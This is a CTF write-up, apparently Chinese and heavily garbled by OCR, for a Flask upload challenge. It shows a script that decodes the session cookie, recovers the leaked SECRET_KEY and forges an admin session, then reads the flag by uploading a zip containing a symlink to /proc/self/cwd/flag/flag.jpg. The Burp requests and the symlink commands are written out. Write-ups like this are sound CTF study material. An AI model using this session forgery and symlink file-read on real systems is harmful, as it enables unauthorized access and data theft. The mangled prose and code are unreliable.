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1. Flaskfh it session
2. unzip() FEREELE
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4. /cwd $8 1A HETEFRIZAT H M — DMF5 8%, I Flaskizg A7 #ERE H %

ISEEZRE

Please input
username
Password

[] Remember me

B AEFETU, AEUN: CTF-Flask-Demo , HEMHNA Flask ATdw’S, 22i{MF ] admin )&
4. admin . #09: admin, FFEET:
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Hello, your
name is admin!

FAR TN EREERY, RAZEBEA AT, RS
Hrp g et EALThRE, ritiupload:

Permission denied!

FRMURAE, FRHA session HIWALR, i FBurpSuite?i & i [fiiCookiefs 5.

£ Request to http:/ /e650cf70-63bb-4ccd-afds- 79cS e204c4az.node3.buucj.cn:80 [111.73.46.229]
| Forward ( Drop | Intercept is on | Action ¥

Raw | Params | Headers | Hex
[

1 GET /upload HTTR/1.1

2 Host: e650c£70-63bb-4ccd-afds-79c5e204c4a2.node3 . buuod . en

3 Upgrade-Insecure-Requests: 1

4 |[Vear-Agant : HozillaS.D (Masintosh, Tntel Mao OF % 110 1) AppleHshRit/537.36 (EEML, like Gacka) Chrome/S7.0.4280.88 Safari/S37.36

S Rccept: text/html.application/xhtnlexml, application/xml;g=0.9,image/avif,image/webp, image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
& Referer: http://o 70-63bb-4ccd-afds-79e5e204c4a2 . node3 . buuo] . cn/login

7 hccept-Encoding: g deflate

8 Accept-Language: 2 0.9
3|conkie: UM ietinctidel763bI112b08a0- 00205302 1cho0 63112074-1€a400-1763D1112hd8ab! SareLonS.aTyrVSpHIbRGY]I IOr TERg1LEaqIVARLT TR YI_F2EOYK LKqTAVRIK JAL TPLNTqVE U QUESY | VRO S SXDPRKEAGE] <hY . XIGULY. INYC T4 YAy VaNT 2VNA a2 TONTK

10 connection: clo:
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L F] session MMH

session
.eJyrVspMUbKqV13IUrJS8glxLFeqlVHKLI7PyU PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6YyiVFqcW5SXmpsKFagFxjxhY.X9GvLw.3NYCqF4

ayMMyV8WF2VW4a2ToMYk!!

vE: fEFlask', session J&fR/77ECookiet, A A, Frilel Ul E N2, W= T Flask{yi& sessionf s
i

S fd FH Python3 I A fif % session :



from base64 import bé64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig payload.rsplit(b'."', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress False

if payload.startswith(b'."):
payload payload[1:]
decompress True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '

'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if _ _name___ ' main__':
print(decryption(sys.argv[1l].encode()))

(venv) mm o s s = == "= pythonProject % python3 main.py .

eJyrVspMUbKgV1JIUrJS8glxLFeqlVHKLI7PyU_PzFOyKikqTdVRKkgsL1i7PLwIgVEpMyQWKéY1

VFqcW5SXmpsKFagFxjxhY.X9GvLw.3NYCgF4ayMMyV8WF2VW4a2ToMYk
{'id': b'100', 'is_login': True, 'password': 'admin', 'usetname': 'admin'}

', 'is_login': True, 'password': 'admin', 'username': ‘'admin'}

Hrb username JE A password BN admin , AT REJE MG IAE id BYERIE, kb session, (A7 ESECRET_KEYI
{f, SECRET_KEYZFlaskH (fi@ % HH, FEAEMBEEEFERN—ANSE, X ME B 2% FE 52 0 20500 A5 S A0 i I 1) 52 %

B, BRI EERGRED.




I H YT LR H I, S IR SRR T, Ui http://xxx/test H3X:

404 not found

7EF12f ) Network &5 5 :

Mame ® Headers Preview Response Initiator Timing Cookies
|| test Referrer Policy: strict-origin-when-cross-origin

| favicon.ico

v Response Headers view source

Connection: keep-alive

Content-Length: 13

Content-Type: text/html; charset=utf-8

Date: Thu, 1@ Dec 2820 85:45:57 GMT

Server: openresty

Swpuctl_csrf_token: UBVDUKVUX@tFWT or 26 IxneXiF3d3d LZWUhQCHI I VAmK g==

H.rf swpuctf_csrf_token: UBVDUKVUXOtFWTprzX1xcXF3d3d1ZWUhQCMkIVAmKg== , I HfEMS, 53

SECRET_KEY: keygqqwwweee ! @#$%/&*

'is_login': True, 'password': 'admin', ‘'username': 'admin'}

{5 F flask-session-cookie)il = il A Github i 1k«

python3 flask session_cookie manager3.py encode -s 'keyqqqwwweee!@#$%"&*' -t "{'id': b'1', 'is login': True, 'pa

ssword': 'admin', ‘'username': ‘admin'}"

N BEEEyrEE PE EOEEE Eemm B flask-session-cookie-manager % python3 flask_
session_cookle_manager3.py encode —s 'keygogwwweee!D#$% &' —t "{'id': b'1l', 'is
_login': True, 'password': 'admin', 'username': 'admin'}"

. elyrVspMUbKgV1JIUrJSBg28tVWglVHKLI7PyU_PzFOyKikgTdVRKkgsLi7PLwIqVERMyOQwKeyiVFge
W5SXmpsKFagFiyxgX . X9G4CA. xjoUSWaIhyILLyU41SPLE_KVGKE

BRI 5
] session : .eJyrVspMUbKqV1JIUrJS8g2@tVWqlVHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6YiVFqcW5SXmpsKFagFiyxgX.X
9G4CQ. xjoUSW4IhyILLyU41SPLk_kVGx8


https://github.com/noraj/flask-session-cookie-manager

1 HIF12+ 1) Application, &X5(3LH ] session {H:

[w ﬂ Elements Console Sources Metwork Performance Memaory Application Security Lighthouse HackBar o : X
LX Service Workers C Filter ® X [ Only show cookies with an issue

W Clear storage Name Value Dom... | Path Expi... | Size Hitp... | Sec... | Sam... | Prio...

gession edyrvspMUDKgVIJIURSBg20tvWaglY... e65... / Ses... 139 ks Med...

ARy UM _distinctid 1763b3112bcBac-0d205f8bf1ch9d-6... | .buu... |/ 202... 73 Med...

» ES Local Storage

» EE Session Storage
£ IndexedDB
£ Web 5QL

~ & Cookies

& http:/eB50cf70-63bb-4¢

X riddrupload, #EA SISO _EAL T :
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@app.route('/upload’,methods=["GET"', "POST"'])
def upload():
if session['id'] b'l"':
return render_template_string(temp)
if request.method=='POST":
m = hashlib.md5()
name session[ ‘password’ ]
name name+ ' qweqweqwe '
name = name.encode(encoding="utf-8")
m.update(name)
md5_one= m.hexdigest()
n = hashlib.md5()
ip request.remote_addr
ip = ip.encode(encoding="utf-8")
n.update(ip)

md5_ip = n.hexdigest()

f=request.files[ 'file']
basepath=os.path.dirname(os.path.realpath(__file ))
path basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session[ 'username’ ]+"/"
path_base basepath+'/upload/'+md5_ip+"'/"*
filename = f.filename
pathname path+filename
if "zip" filename.split('.")[-1]:
return 'zip only allowed'
if os.path.exists(path_base):
try:
os.makedirs(path_base)
except Exception as e:
return 'error'




os.path.exists(path):
try:

os.makedirs(path)
except Exception as e:

return ‘error'

os.path.exists(pathname):
try:

f.save(pathname)
except Exception as e:

return 'error'

cmd "unzip -n -d "+path+" "+ pathname
if cmd.find('|") 1 cmd.find('; ")

return ‘error'
os.system(cmd)
except Exception as e:
return ‘error'
unzip_file = zipfile.ZipFile(pathname, 'r")
unzip_filename = unzip_file.namelist()[0]
if session['is_login'] True:
return 'not login'
try:
if unzip_filename.find('/")
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers[ 'Content-Type' ] 'image/png’
return resp
except Exception as e:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'

return render_template('upload.html')

@app.route('/showflag')
def showflag():
if True False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers[ 'Content-Type"' ] ‘image/png'’
return resp
else:
return "can't give you"

NiZ N route. py F upload U AOYEAS, X HBEAT Y5AS B
7E /upload ¥ H1

{E /showflag & HiH
G T flaghyiiz: . /flag/flag.jpg




WA BUR,  unzip() AAEREERIGE, RKIATDOEE B A AR A S A, REEEOC

BERE H 3%

Fey 3 LA BT 5 1 SO
1n -s /proc/self/cwd/flag/flag.jpg tmpl
zip -ry tmpl.zip tmpl

aaaing:uimpluistor;d 0%)

B3 tmpl.zip CMF, LAESCHER, {6 BurpSuite U £ 45 10«

f Request to http://210657bc-d7e0-4ea5-8b58-f349724d756f.node3.buuoj.cn:80 [111.73.45.58]
{ Forward J { Drop J Intercept is on Action W @
Raw | Params | Headers | Hex

1 POST /upload HTTP/1.1

2 Host: 210657bc-d7e0-4ea5-8b58-£349724d756f.node3.buuoj.cn

3 Content-Length: 373

4 Cache-Control: max-age=0

5 Upgrade-Insecure-Requests: 1

6 Origin: http://210657bc-d7e0-4ea5-8b58-£349724d756f.node3.buuoj.cn

7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAUjZgcxyO0OQGWIEH

8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

9 Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;g=0.9
10 Referer: http://210657bc-d7e0-4ea5-8b58-£349724d756f.node3.buuoj.cn/upload

11 Accept-Encoding: gzip, deflate

12 Accept-Language: zh-CN,zh;q=0.9

13 Cookie: session=.eJyrVspMUbKqV1JIUrJS8g20tVWglVHKLI7PyU_ PzFOyKikqTdVRKkgsLi7PLwIQVEpMyQWK6yiVFqcW5SXmpsKFagFiyxgX.X9G4CQ.xjoUSW4ThyILLyU41SPLk_kVGx8
14 Connection: close

T

15
16 ————m-! WebKitFormBoundaryAUjZgcxy00qGWIEH

17 Content-Disposition: form-data; name="file"; filename="tmpl.zip"
18 Content-Type: application/zip

19

20 PK

21 RGYOH U6 tmpluT #8§_#8_ux ® /proc/self/cwd/flag/flag.jpgPK
22 RYGOB 6O GtmplUT #6_ux § PK Jz

23 —mmmme WebKitFormBoundaryAUjZgcxy0OgGWIEH-~

24

{i HRepeaterz i %i#i f4, 7tResponseH 14 Ziflag

Response

J RawT Headers T Hex T Render ]

HTTP/1.1 200 OK

Server: openresty

Date: Sun, 20 Dec 2020 10:14:58 GMT
Content-Type: image/png
Content-Length: 43

Connection: close

Vary: Cookie

flag{b3b673a6-4bld-42ca-8bbd-e4alaa39c4dbe}
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